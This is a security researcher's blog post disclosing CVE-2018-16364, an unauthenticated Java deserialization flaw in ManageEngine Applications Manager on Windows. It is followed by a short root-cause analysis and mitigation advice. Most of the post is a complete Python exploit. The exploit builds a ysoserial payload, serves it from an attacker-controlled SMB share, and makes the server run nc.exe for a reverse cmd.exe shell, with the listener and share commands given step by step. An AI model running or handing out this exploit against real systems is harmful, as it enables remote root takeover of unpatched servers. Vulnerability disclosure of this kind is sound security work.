ManageEngine Applications Manager Deserialization Unauthenticated RCE

This year at Black Hat USA I participated in Offensive Security’s AWAE. This training was extremely interesting and I would strongly recommend it to others interested in web application security. One of the modules in AWAE included looking at ManageEngine Applications Manager. As I have some previous experience with web applications and writing PoCs, I occasionally found myself with some spare time during the training. I spent most of this spare time looking deeper into the applications that were included in the training and I ended up finding my first deserialization vulnerability. This vulnerability happens to be an unauthenticated remote root in ManageEngine Applications Manager running on Windows machines. While I have not seen this vulnerability posted online, I know for a fact that I am not the only one who has come across it.

PoC

#!/usr/bin/python
###############################################################################################################
# Java deserialization vulnerability in Manage Engine Version 13 < 13740 (CustomFieldsFeedServlet) on Windows
# CVE-2018-16364
# Tested on Kali
# In seperate shells:
#     nc -nvlp 4444
#     python /usr/share/doc/python-impacket/examples/smbserver.py awae /root/awae
# James Otten 8/6/2018
###############################################################################################################

import os
import requests
import base64
import socket
import sys

def init_deps(share):
	os.system("cp /usr/share/windows-binaries/nc.exe %s" % share)
	output_jar = "%s/ysoserial-master.jar" % share
	if not os.path.isfile(output_jar):
		os.system("wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O %s" % output_jar)

def gen_payload(ip, port, out_file, share):
	cmd = "cmd.exe /c \\\\%s\\%s\\nc.exe %s %s -e cmd.exe" % (ip, share, ip, port)
	os.system("java -jar ysoserial-master.jar CommonsCollections1 '%s' > %s" % (cmd, out_file))

def print_usage():
	print "Usage:"
	print "\tpython %s <url> <local ip> <reverse shell port> <share name>" % sys.argv[0]
	print "\tpython %s https://manageengine:8443 192.168.124.139 4444 awae" % sys.argv[0]

if len(sys.argv) != 5:
	print_usage()
	exit()

host = sys.argv[1]
smb_host = sys.argv[2]
reverse_shell_port = sys.argv[3]
share = sys.argv[4]
serialized_file = "test.obj"
local_share_location = "/root/%s/" % share

init_deps(local_share_location)
gen_payload(smb_host, reverse_shell_port, local_share_location + serialized_file, share)

path = "/servlet/CustomFieldsFeedServlet?customFieldObject=\\\\%s\\%s\\%s" % (smb_host, share, serialized_file)

req = host + path
res = requests.get(req, verify=False)
if res.status_code == 200:
	print "Incoming reverse shell on %s" % reverse_shell_port
else:
	print "Exploit failed"
	print res.status_code
	print res.text

Shell 1:

nc -nvlp 4444

Shell 2:

python /usr/share/doc/python-impacket/examples/smbserver.py awae /root/awae

Shell 3:

python CustomFieldsFeedServlet.py https://manageengine:8443 192.168.124.139 4444 awae

CustomFieldsFeedServlet was available without authentication and it allowed for users to pass a file path that would be deserialized via readObject(). In order to exploit this, the attacker needs to be able to make their payload accessible to the Applications Manager instance. On platforms other than Windows, the attacker can drop their payload to disk via one of the many SQL injection vulnerabilities in Applications Manager. It is easier to exploit this vulnerability on Windows as the class used to open the passed file path will resolve and read data from UNC paths, which allows for exploitation without chaining vulnerabilities.

The payload used in this exploit is generated using ysoserial. This payload is served from a public SMB share on the attacker’s machine created with the Impacket SMB server example.

The exploit can be visualized through the following sequence diagram: Sequence Diagram

Analysis

Several things went wrong to cause this vulnerability. First, the lack of authorization on a security sensitive endpoint was addressed previously in CVE-2018-11808. Second, developers need to take extra caution when dealing with the file system, especially when paths are user controlled input. It is very important to know how the classes you are using to interact with the file system will interact with “interesting edge cases” like symbolic links, hard links, and UNC paths. Finally, unsafe deserialization should be avoided even in cases where input can be trusted because having it in a codebase increases the likelihood that unsafe deserialization will be possible in the future either through copy/pasting or unforeseen requirements changes.

Mitigation

While this vulnerability was remediated in Applications Manager 13740, I recommend discontinuing use of this software and rebuilding systems where ManageEngine/Zoho products are installed or systems where a ManageEngine/Zoho product had privileged access to.

More information

 
comments powered by Disqus